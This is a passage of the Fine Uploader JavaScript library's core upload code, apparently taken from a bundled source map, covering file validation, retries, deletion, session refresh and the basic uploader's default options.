fileDescriptors = [];\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                fileDescriptors.push(self._getValidationDescriptor(fileWrapper));\n            });\n\n            return fileDescriptors;\n        },\n\n        // Allows camera access on either the default or an extra button for iOS devices.\n        _handleCameraAccess: function() {\n            if (this._options.camera.ios && qq.ios()) {\n                var acceptIosCamera = \"image/*;capture=camera\",\n                    button = this._options.camera.button,\n                    buttonId = button ? this._getButtonId(button) : this._defaultButtonId,\n                    optionRoot = this._options;\n\n                // If we are not targeting the default button, it is an \"extra\" button\n                if (buttonId && buttonId !== this._defaultButtonId) {\n                    optionRoot = this._extraButtonSpecs[buttonId];\n                }\n\n                // Camera access won't work in iOS if the `multiple` attribute is present on the file input\n                optionRoot.multiple = false;\n\n                // update the options\n                if (optionRoot.validation.acceptFiles === null) {\n                    optionRoot.validation.acceptFiles = acceptIosCamera;\n                }\n                else {\n                    optionRoot.validation.acceptFiles += \",\" + acceptIosCamera;\n                }\n\n                // update the already-created button\n                qq.each(this._buttons, function(idx, button) {\n                    if (button.getButtonId() === buttonId) {\n                        button.setMultiple(optionRoot.multiple);\n                        button.setAcceptFiles(optionRoot.acceptFiles);\n\n                        return false;\n                    }\n                });\n            }\n        },\n\n        _handleCheckedCallback: function(details) {\n            var self = this,\n                callbackRetVal = details.callback();\n\n            if (qq.isGenericPromise(callbackRetVal)) {\n                this.log(details.name + \" - waiting for \" + details.name + \" promise to be fulfilled for \" + details.identifier);\n                return callbackRetVal.then(\n                    function(successParam) {\n                        self.log(details.name + \" promise success for \" + details.identifier);\n                        details.onSuccess(successParam);\n                    },\n                    function() {\n                        if (details.onFailure) {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                            details.onFailure();\n                        }\n                        else {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                        }\n                    });\n            }\n\n            if (callbackRetVal !== false) {\n                details.onSuccess(callbackRetVal);\n            }\n            else {\n                if (details.onFailure) {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Invoking failure callback.\");\n                    details.onFailure();\n                }\n                else {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Will not proceed.\");\n                }\n            }\n\n            return callbackRetVal;\n        },\n\n        // Updates internal state when a new file has been received, and adds it along with its ID to a passed array.\n        _handleNewFile: function(file, batchId, newFileWrapperList) {\n            var self = this,\n                uuid = qq.getUniqueId(),\n                size = -1,\n                name = qq.getFilename(file),\n                actualFile = file.blob || file,\n                handler = this._customNewFileHandler ?\n                    this._customNewFileHandler :\n                    qq.bind(self._handleNewFileGeneric, self);\n\n            if (!qq.isInput(actualFile) && actualFile.size >= 0) {\n                size = actualFile.size;\n            }\n\n            handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {\n                uploadData: self._uploadData,\n                paramsStore: self._paramsStore,\n                addFileToHandler: function(id, file) {\n                    self._handler.add(id, file);\n                    self._netUploadedOrQueued++;\n                    self._trackButton(id);\n                }\n            });\n        },\n\n        _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {\n            var id = this._uploadData.addFile({uuid: uuid, name: name, size: size, batchId: batchId});\n\n            this._handler.add(id, file);\n            this._trackButton(id);\n\n            this._netUploadedOrQueued++;\n\n            fileList.push({id: id, file: file});\n        },\n\n        _handlePasteSuccess: function(blob, extSuppliedName) {\n            var extension = blob.type.split(\"/\")[1],\n                name = extSuppliedName;\n\n            /*jshint eqeqeq: true, eqnull: true*/\n            if (name == null) {\n                name = this._options.paste.defaultName;\n            }\n\n            name += \".\" + extension;\n\n            this.addFiles({\n                name: name,\n                blob: blob\n            });\n        },\n\n        // Creates an extra button element\n        _initExtraButton: function(spec) {\n            var button = this._createUploadButton({\n                accept: spec.validation.acceptFiles,\n                allowedExtensions: spec.validation.allowedExtensions,\n                element: spec.element,\n                folders: spec.folders,\n                multiple: spec.multiple,\n                title: spec.fileInputTitle\n            });\n\n            this._extraButtonSpecs[button.getButtonId()] = spec;\n        },\n\n        _initFormSupportAndParams: function() {\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n            );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore = this._createStore(\n                    this._options.request.params,  this._formSupport.getFormInputsAsObject\n                );\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this._options.request.endpoint = this._formSupport.newEndpoint;\n                }\n            }\n            else {\n                this._paramsStore = this._createStore(this._options.request.params);\n            }\n        },\n\n        _isDeletePossible: function() {\n            if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {\n                return false;\n            }\n\n            if (this._options.cors.expected) {\n                if (qq.supportedFeatures.deleteFileCorsXhr) {\n                    return true;\n                }\n\n                if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {\n                    return true;\n                }\n\n                return false;\n            }\n\n            return true;\n        },\n\n        _isAllowedExtension: function(allowed, fileName) {\n            var valid = false;\n\n            if (!allowed.length) {\n                return true;\n            }\n\n            qq.each(allowed, function(idx, allowedExt) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExt)) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    var extRegex = new RegExp(\"\\\\.\" + allowedExt + \"$\", \"i\");\n\n                    if (fileName.match(extRegex) != null) {\n                        valid = true;\n                        return false;\n                    }\n                }\n            });\n\n            return valid;\n        },\n\n        /**\n         * Constructs and returns a message that describes an item/file error.  Also calls `onError` callback.\n         *\n         * @param code REQUIRED - a code that corresponds to a stock message describing this type of error\n         * @param maybeNameOrNames names of the items that have failed, if applicable\n         * @param item `File`, `Blob`, or `<input type=\"file\">`\n         * @private\n         */\n        _itemError: function(code, maybeNameOrNames, item) {\n            var message = this._options.messages[code],\n                allowedExtensions = [],\n                names = [].concat(maybeNameOrNames),\n                name = names[0],\n                buttonId = this._getButtonId(item),\n                validationBase = this._getValidationBase(buttonId),\n                extensionsForMessage, placeholderMatch;\n\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExtension)) {\n                    allowedExtensions.push(allowedExtension);\n                }\n            });\n\n            extensionsForMessage = allowedExtensions.join(\", \").toLowerCase();\n\n            r(\"{file}\", this._options.formatFileName(name));\n            r(\"{extensions}\", extensionsForMessage);\n            r(\"{sizeLimit}\", this._formatSize(validationBase.sizeLimit));\n            r(\"{minSizeLimit}\", this._formatSize(validationBase.minSizeLimit));\n\n            placeholderMatch = message.match(/(\\{\\w+\\})/g);\n            if (placeholderMatch !== null) {\n                qq.each(placeholderMatch, function(idx, placeholder) {\n                    r(placeholder, names[idx]);\n                });\n            }\n\n            this._options.callbacks.onError(null, name, message, undefined);\n\n            return message;\n        },\n\n        /**\n         * Conditionally orders a manual retry of a failed upload.\n         *\n         * @param id File ID of the failed upload\n         * @param callback Optional callback to invoke if a retry is prudent.\n         * In lieu of asking the upload handler to retry.\n         * @returns {boolean} true if a manual retry will occur\n         * @private\n         */\n        _manualRetry: function(id, callback) {\n            if (this._onBeforeManualRetry(id)) {\n                this._netUploadedOrQueued++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                if (callback) {\n                    callback(id);\n                }\n                else {\n                    this._handler.retry(id);\n                }\n\n                return true;\n            }\n        },\n\n        _maybeAllComplete: function(id, status) {\n            var self = this,\n                notFinished = this._getNotFinished();\n\n            if (status === qq.status.UPLOAD_SUCCESSFUL) {\n                this._succeededSinceLastAllComplete.push(id);\n            }\n            else if (status === qq.status.UPLOAD_FAILED) {\n                this._failedSinceLastAllComplete.push(id);\n            }\n\n            if (notFinished === 0 &&\n                (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {\n                // Attempt to ensure onAllComplete is not invoked before other callbacks, such as onCancel & onComplete\n                setTimeout(function() {\n                    self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);\n                }, 0);\n            }\n        },\n\n        _maybeHandleIos8SafariWorkaround: function() {\n            var self = this;\n\n            if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n                setTimeout(function() {\n                    window.alert(self._options.messages.unsupportedBrowserIos8Safari);\n                }, 0);\n                throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);\n            }\n        },\n\n        _maybeParseAndSendUploadError: function(id, name, response, xhr) {\n            // Assuming no one will actually set the response code to something other than 200\n            // and still set 'success' to true...\n            if (!response.success) {\n                if (xhr && xhr.status !== 200 && !response.error) {\n                    this._options.callbacks.onError(id, name, \"XHR returned response code \" + xhr.status, xhr);\n                }\n                else {\n                    var errorReason = response.error ? response.error : this._options.text.defaultResponseError;\n                    this._options.callbacks.onError(id, name, errorReason, xhr);\n                }\n            }\n        },\n\n        _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {\n            var self = this;\n\n            if (items.length > index) {\n                if (validItem || !this._options.validation.stopOnFirstInvalidFile) {\n                    //use setTimeout to prevent a stack overflow with a large number of files in the batch & non-promissory callbacks\n                    setTimeout(function() {\n                        var validationDescriptor = self._getValidationDescriptor(items[index]),\n                            buttonId = self._getButtonId(items[index].file),\n                            button = self._getButton(buttonId);\n\n                        self._handleCheckedCallback({\n                            name: \"onValidate\",\n                            callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),\n                            onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),\n                            onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),\n                            identifier: \"Item '\" + validationDescriptor.name + \"', size: \" + validationDescriptor.size\n                        });\n                    }, 0);\n                }\n                else if (!validItem) {\n                    for (; index < items.length; index++) {\n                        self._fileOrBlobRejected(items[index].id);\n                    }\n                }\n            }\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);\n\n            this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n        },\n\n        /**\n         * Attempt to automatically retry a failed upload.\n         *\n         * @param id The file ID of the failed upload\n         * @param name The name of the file associated with the failed upload\n         * @param responseJSON Response from the server, parsed into a javascript object\n         * @param xhr Ajax transport used to send the failed request\n         * @param callback Optional callback to be invoked if a retry is prudent.\n         * Invoked in lieu of asking the upload handler to retry.\n         * @returns {boolean} true if an auto-retry will occur\n         * @private\n         */\n        _onAutoRetry: function(id, name, responseJSON, xhr, callback) {\n            var self = this;\n\n            self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];\n\n            if (self._shouldAutoRetry(id, name, responseJSON)) {\n                self._maybeParseAndSendUploadError.apply(self, arguments);\n                self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);\n                self._onBeforeAutoRetry(id, name);\n\n                self._retryTimeouts[id] = setTimeout(function() {\n                    self.log(\"Retrying \" + name + \"...\");\n                    self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                    if (callback) {\n                        callback(id);\n                    }\n                    else {\n                        self._handler.retry(id);\n                    }\n                }, self._options.retry.autoAttemptDelay * 1000);\n\n                return true;\n            }\n        },\n\n        _onBeforeAutoRetry: function(id, name) {\n            this.log(\"Waiting \" + this._options.retry.autoAttemptDelay + \" seconds before retrying \" + name + \"...\");\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            var itemLimit = this._currentItemLimit,\n                fileName;\n\n            if (this._preventRetries[id]) {\n                this.log(\"Retries are forbidden for id \" + id, \"warn\");\n                return false;\n            }\n            else if (this._handler.isValid(id)) {\n                fileName = this.getName(id);\n\n                if (this._options.callbacks.onManualRetry(id, fileName) === false) {\n                    return false;\n                }\n\n                if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {\n                    this._itemError(\"retryFailTooManyItems\");\n                    return false;\n                }\n\n                this.log(\"Retrying upload for '\" + fileName + \"' (id: \" + id + \")...\");\n                return true;\n            }\n            else {\n                this.log(\"'\" + id + \"' is not a valid file ID\", \"error\");\n                return false;\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._netUploadedOrQueued--;\n\n            clearTimeout(this._retryTimeouts[id]);\n\n            var storedItemIndex = qq.indexOf(this._storedIds, id);\n            if (!this._options.autoUpload && storedItemIndex >= 0) {\n                this._storedIds.splice(storedItemIndex, 1);\n            }\n\n            this._uploadData.setStatus(id, qq.status.CANCELED);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            if (!result.success) {\n                this._netUploadedOrQueued--;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);\n\n                if (result[this._options.retry.preventRetryResponseProperty] === true) {\n                    this._preventRetries[id] = true;\n                }\n            }\n            else {\n                if (result.thumbnailUrl) {\n                    this._thumbnailUrls[id] = result.thumbnailUrl;\n                }\n\n                this._netUploaded++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);\n            }\n\n            this._maybeParseAndSendUploadError(id, name, result, xhr);\n\n            return result.success ? true : false;\n        },\n\n        _onDelete: function(id) {\n            this._uploadData.setStatus(id, qq.status.DELETING);\n        },\n\n        _onDeleteComplete: function(id, xhrOrXdr, isError) {\n            var name = this.getName(id);\n\n            if (isError) {\n                this._uploadData.setStatus(id, qq.status.DELETE_FAILED);\n                this.log(\"Delete request for '\" + name + \"' has failed.\", \"error\");\n\n                // For error reporting, we only have access to the response status if this is not\n                // an `XDomainRequest`.\n                if (xhrOrXdr.withCredentials === undefined) {\n                    this._options.callbacks.onError(id, name, \"Delete request failed\", xhrOrXdr);\n                }\n                else {\n                    this._options.callbacks.onError(id, name, \"Delete request failed with response code \" + xhrOrXdr.status, xhrOrXdr);\n                }\n            }\n            else {\n                this._netUploadedOrQueued--;\n                this._netUploaded--;\n                this._handler.expunge(id);\n                this._uploadData.setStatus(id, qq.status.DELETED);\n                this.log(\"Delete request for '\" + name + \"' has succeeded.\");\n            }\n        },\n\n        _onInputChange: function(input) {\n            var fileIndex;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {\n                    this._annotateWithButtonId(input.files[fileIndex], input);\n                }\n\n                this.addFiles(input.files);\n            }\n            // Android 2.3.x will fire `onchange` even if no file has been selected\n            else if (input.value.length > 0) {\n                this.addFiles(input);\n            }\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n        },\n\n        _onProgress: function(id, name, loaded, total) {\n            this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);\n        },\n\n        _onSubmit: function(id, name) {\n            //nothing to do yet in core uploader\n        },\n\n        _onSubmitCallbackSuccess: function(id, name) {\n            this._onSubmit.apply(this, arguments);\n            this._uploadData.setStatus(id, qq.status.SUBMITTED);\n            this._onSubmitted.apply(this, arguments);\n\n            if (this._options.autoUpload) {\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n                this._uploadFile(id);\n            }\n            else {\n                this._storeForLater(id);\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n            }\n        },\n\n        _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {\n            var uuid = this.getUuid(id),\n                adjustedOnSuccessCallback;\n\n            if (onSuccessCallback) {\n                adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);\n            }\n\n            if (this._isDeletePossible()) {\n                this._handleCheckedCallback({\n                    name: \"onSubmitDelete\",\n                    callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),\n                    onSuccess: adjustedOnSuccessCallback ||\n                        qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),\n                    identifier: id\n                });\n                return true;\n            }\n            else {\n                this.log(\"Delete request ignored for ID \" + id + \", delete feature is disabled or request not possible \" +\n                    \"due to CORS on a user agent that does not support pre-flighting.\", \"warn\");\n                return false;\n            }\n        },\n\n        _onSubmitted: function(id) {\n            //nothing to do in the base uploader\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._options.callbacks.onTotalProgress(loaded, total);\n        },\n\n        _onUploadPrep: function(id) {\n            // nothing to do in the core uploader for now\n        },\n\n        _onUpload: function(id, name) {\n            this._uploadData.setStatus(id, qq.status.UPLOADING);\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            //nothing to do in the base uploader\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            // Make sure a \"queued\" retry attempt is canceled if the upload has been paused\n            if (newStatus === qq.status.PAUSED) {\n                clearTimeout(this._retryTimeouts[id]);\n            }\n        },\n\n        _onValidateBatchCallbackFailure: function(fileWrappers) {\n            var self = this;\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                self._fileOrBlobRejected(fileWrapper.id);\n            });\n        },\n\n        _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {\n            var errorMessage,\n                itemLimit = this._currentItemLimit,\n                proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;\n\n            if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {\n                if (items.length > 0) {\n                    this._handleCheckedCallback({\n                        name: \"onValidate\",\n                        callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),\n                        onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),\n                        onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),\n                        identifier: \"Item '\" + items[0].file.name + \"', size: \" + items[0].file.size\n                    });\n                }\n                else {\n                    this._itemError(\"noFilesError\");\n                }\n            }\n            else {\n                this._onValidateBatchCallbackFailure(items);\n                errorMessage = this._options.messages.tooManyItemsError\n                    .replace(/\\{netItems\\}/g, proposedNetFilesUploadedOrQueued)\n                    .replace(/\\{itemLimit\\}/g, itemLimit);\n                this._batchError(errorMessage);\n            }\n        },\n\n        _onValidateCallbackFailure: function(items, index, params, endpoint) {\n            var nextIndex = index + 1;\n\n            this._fileOrBlobRejected(items[index].id, items[index].file.name);\n\n            this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n        },\n\n        _onValidateCallbackSuccess: function(items, index, params, endpoint) {\n            var self = this,\n                nextIndex = index + 1,\n                validationDescriptor = this._getValidationDescriptor(items[index]);\n\n            this._validateFileOrBlobData(items[index], validationDescriptor)\n                .then(\n                function() {\n                    self._upload(items[index].id, params, endpoint);\n                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);\n                },\n                function() {\n                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n                }\n            );\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            if (items.length === 0) {\n                this._itemError(\"noFilesError\");\n                return;\n            }\n\n            var validationDescriptors = this._getValidationDescriptors(items),\n                buttonId = this._getButtonId(items[0].file),\n                button = this._getButton(buttonId);\n\n            this._handleCheckedCallback({\n                name: \"onValidateBatch\",\n                callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),\n                onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),\n                onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),\n                identifier: \"batch validation\"\n            });\n        },\n\n        _preventLeaveInProgress: function() {\n            var self = this;\n\n            this._disposeSupport.attach(window, \"beforeunload\", function(e) {\n                if (self.getInProgress()) {\n                    e = e || window.event;\n                    // for ie, ff\n                    e.returnValue = self._options.messages.onLeave;\n                    // for webkit\n                    return self._options.messages.onLeave;\n                }\n            });\n        },\n\n        // Attempts to refresh session data only if the `qq.Session` module exists\n        // and a session endpoint has been specified.  The `onSessionRequestComplete`\n        // callback will be invoked once the refresh is complete.\n        _refreshSessionData: function() {\n            var self = this,\n                options = this._options.session;\n\n            /* jshint eqnull:true */\n            if (qq.Session && this._options.session.endpoint != null) {\n                if (!this._session) {\n                    qq.extend(options, {cors: this._options.cors});\n\n                    options.log = qq.bind(this.log, this);\n                    options.addFileRecord = qq.bind(this._addCannedFile, this);\n\n                    this._session = new qq.Session(options);\n                }\n\n                setTimeout(function() {\n                    self._session.refresh().then(function(response, xhrOrXdr) {\n                        self._sessionRequestComplete();\n                        self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);\n\n                    }, function(response, xhrOrXdr) {\n\n                        self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);\n                    });\n                }, 0);\n            }\n        },\n\n        _sessionRequestComplete: function() {},\n\n        _setSize: function(id, newSize) {\n            this._uploadData.updateSize(id, newSize);\n            this._totalProgress && this._totalProgress.onNewSize(id);\n        },\n\n        _shouldAutoRetry: function(id, name, responseJSON) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            /*jshint laxbreak: true */\n            if (!this._preventRetries[id]\n                && this._options.retry.enableAuto\n                && uploadData.status !== qq.status.PAUSED) {\n\n                if (this._autoRetries[id] === undefined) {\n                    this._autoRetries[id] = 0;\n                }\n\n                if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {\n                    this._autoRetries[id] += 1;\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        _storeForLater: function(id) {\n            this._storedIds.push(id);\n        },\n\n        // Maps a file with the button that was used to select it.\n        _trackButton: function(id) {\n            var buttonId;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                buttonId = this._handler.getFile(id).qqButtonId;\n            }\n            else {\n                buttonId = this._getButtonId(this._handler.getInput(id));\n            }\n\n            if (buttonId) {\n                this._buttonIdsForFileIds[id] = buttonId;\n            }\n        },\n\n        _updateFormSupportAndParams: function(formElementOrId) {\n            this._options.form.element = formElementOrId;\n\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                    this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n                );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this.setEndpoint(this._formSupport.newEndpoint);\n                }\n            }\n        },\n\n        _upload: function(id, params, endpoint) {\n            var name = this.getName(id);\n\n            if (params) {\n                this.setParams(params, id);\n            }\n\n            if (endpoint) {\n                this.setEndpoint(endpoint, id);\n            }\n\n            this._handleCheckedCallback({\n                name: \"onSubmit\",\n                callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),\n                onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),\n                onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),\n                identifier: id\n            });\n        },\n\n        _uploadFile: function(id) {\n            if (!this._handler.upload(id)) {\n                this._uploadData.setStatus(id, qq.status.QUEUED);\n            }\n        },\n\n        _uploadStoredFiles: function() {\n            var idToUpload, stillSubmitting,\n                self = this;\n\n            while (this._storedIds.length) {\n                idToUpload = this._storedIds.shift();\n                this._uploadFile(idToUpload);\n            }\n\n            // If we are still waiting for some files to clear validation, attempt to upload these again in a bit\n            stillSubmitting = this.getUploads({status: qq.status.SUBMITTING}).length;\n            if (stillSubmitting) {\n                qq.log(\"Still waiting for \" + stillSubmitting + \" files to clear submit queue. Will re-parse stored IDs array shortly.\");\n                setTimeout(function() {\n                    self._uploadStoredFiles();\n                }, 1000);\n            }\n        },\n\n        /**\n         * Performs some internal validation checks on an item, defined in the `validation` option.\n         *\n         * @param fileWrapper Wrapper containing a `file` along with an `id`\n         * @param validationDescriptor Normalized information about the item (`size`, `name`).\n         * @returns qq.Promise with appropriate callbacks invoked depending on the validity of the file\n         * @private\n         */\n        _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {\n            var self = this,\n                file = (function() {\n                    if (fileWrapper.file instanceof qq.BlobProxy) {\n                        return fileWrapper.file.referenceBlob;\n                    }\n                    return fileWrapper.file;\n                }()),\n                name = validationDescriptor.name,\n                size = validationDescriptor.size,\n                buttonId = this._getButtonId(fileWrapper.file),\n                validationBase = this._getValidationBase(buttonId),\n                validityChecker = new qq.Promise();\n\n            validityChecker.then(\n                function() {},\n                function() {\n                    self._fileOrBlobRejected(fileWrapper.id, name);\n                });\n\n            if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {\n                this._itemError(\"typeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size === 0) {\n                this._itemError(\"emptyError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {\n                this._itemError(\"sizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && size < validationBase.minSizeLimit) {\n                this._itemError(\"minSizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {\n                new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(\n                    validityChecker.success,\n                    function(errorCode) {\n                        self._itemError(errorCode + \"ImageError\", name, file);\n                        validityChecker.failure();\n                    }\n                );\n            }\n            else {\n                validityChecker.success();\n            }\n\n            return validityChecker;\n        },\n\n        _wrapCallbacks: function() {\n            var self, safeCallback, prop;\n\n            self = this;\n\n            safeCallback = function(name, callback, args) {\n                var errorMsg;\n\n                try {\n                    return callback.apply(self, args);\n                }\n                catch (exception) {\n                    errorMsg = exception.message || exception.toString();\n                    self.log(\"Caught exception in '\" + name + \"' callback - \" + errorMsg, \"error\");\n                }\n            };\n\n            /* jshint forin: false, loopfunc: true */\n            for (prop in this._options.callbacks) {\n                (function() {\n                    var callbackName, callbackFunc;\n                    callbackName = prop;\n                    callbackFunc = self._options.callbacks[callbackName];\n                    self._options.callbacks[callbackName] = function() {\n                        return safeCallback(callbackName, callbackFunc, arguments);\n                    };\n                }());\n            }\n        }\n    };\n}());\n","/*globals qq*/\n(function() {\n    \"use strict\";\n\n    qq.FineUploaderBasic = function(o) {\n        var self = this;\n\n        // These options define FineUploaderBasic mode.\n        this._options = {\n            debug: false,\n            button: null,\n            multiple: true,\n            maxConnections: 3,\n            disableCancelForFormUploads: false,\n            autoUpload: true,\n\n            request: {\n                customHeaders: {},\n                endpoint: \"/server/upload\",\n                filenameParam: \"qqfilename\",\n                forceMultipart: true,\n                inputName: \"qqfile\",\n                method: \"POST\",\n                params: {},\n                paramsInBody: true,\n                totalFileSizeName: \"qqtotalfilesize\",\n                uuidName: \"qquuid\"\n            },\n\n            validation: {\n                allowedExtensions: [],\n                sizeLimit: 0,\n                minSizeLimit: 0,\n                itemLimit: 0,\n                stopOnFirstInvalidFile: true,\n                acceptFiles: null,\n                image: {\n                    maxHeight: 0,\n                    maxWidth: 0,\n                    minHeight: 0,\n                    minWidth: 0\n                }\n            },\n\n            callbacks: {\n                onSubmit: function(id, name) {},\n                onSubmitted: function(id, name) {},\n                onComplete: function(id, name, responseJSON, maybeXhr) {},\n                onAllComplete: function(successful, failed) {},\n                onCancel: function(id, name) {},\n                onUpload: function(id, name) {},\n                onUploadChunk: function(id, name, chunkData) {},\n                onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},\n                onResume: function(id, fileName, chunkData) {},\n                onProgress: function(id, name, loaded, total) {},\n                onTotalProgress: function(loaded, total) {},\n                onError: function(id, name, reason, maybeXhrOrXdr) {},\n                onAutoRetry: function(id, name, attemptNumber) {},\n                onManualRetry: function(id, name) {},\n                onValidateBatch: function(fileOrBlobData) {},\n                onValidate: function(fileOrBlobData) {},\n                onSubmitDelete: function(id) {},\n                onDelete: function(id) {},\n                onDeleteComplete: function(id, xhrOrXdr, isError) {},\n                onPasteReceived: function(blob) {},\n                onStatusChange: function(id, oldStatus, newStatus) {},\n                onSessionRequestComplete: function(response, success, xhrOrXdr) {}\n            },\n\n            messages: {\n                typeError: \"{file} has an invalid extension. Valid extension(s): {extensions}.\",\n                sizeError: \"{file} is too large, maximum file size is {sizeLimit}.\",\n                minSizeError: \"{file} is too small, minimum file size is {minSizeLimit}.\",\n                emptyError: \"{file} is empty, please select files again without it.\",\n                noFilesError: \"No files to upload.\",\n                tooManyItemsError: \"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.\",\n                maxHeightImageError: \"Image is too tall.\",\n                maxWidthImageError: \"Image is too wide.\",\n                minHeightImageError: \"Image is not tall enough.\",\n                minWidthImageError: \"Image is not wide enough.\",\n                retryFailTooManyItems: \"Retry failed - you have reached your file limit.\",\n                onLeave: \"The files are being uploaded, if you leave now the upload will be canceled.\",\n                unsupportedBrowserIos8Safari: \"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues.\"\n            },\n\n            retry: {\n                enableAuto: false,\n                maxAutoAttempts: 3,\n                autoAttemptDelay: 5,\n                preventRetryResponseProperty: \"preventRetry\"\n            },\n\n            classes: {\n                buttonHover: \"qq-upload-button-hover\",\n                buttonFocus: \"qq-upload-button-focus\"\n            },\n\n            chunking: {\n                enabled: false,\n                concurrent: {\n                    enabled: false\n                },\n                mandatory: false,\n                paramNames: {\n                    partIndex: \"qqpartindex\",\n                    partByteOffset: \"qqpartbyteoffset\",\n                    chunkSize: \"qqchunksize\",\n                    totalFileSize: \"qqtotalfilesize\",\n                    totalParts: 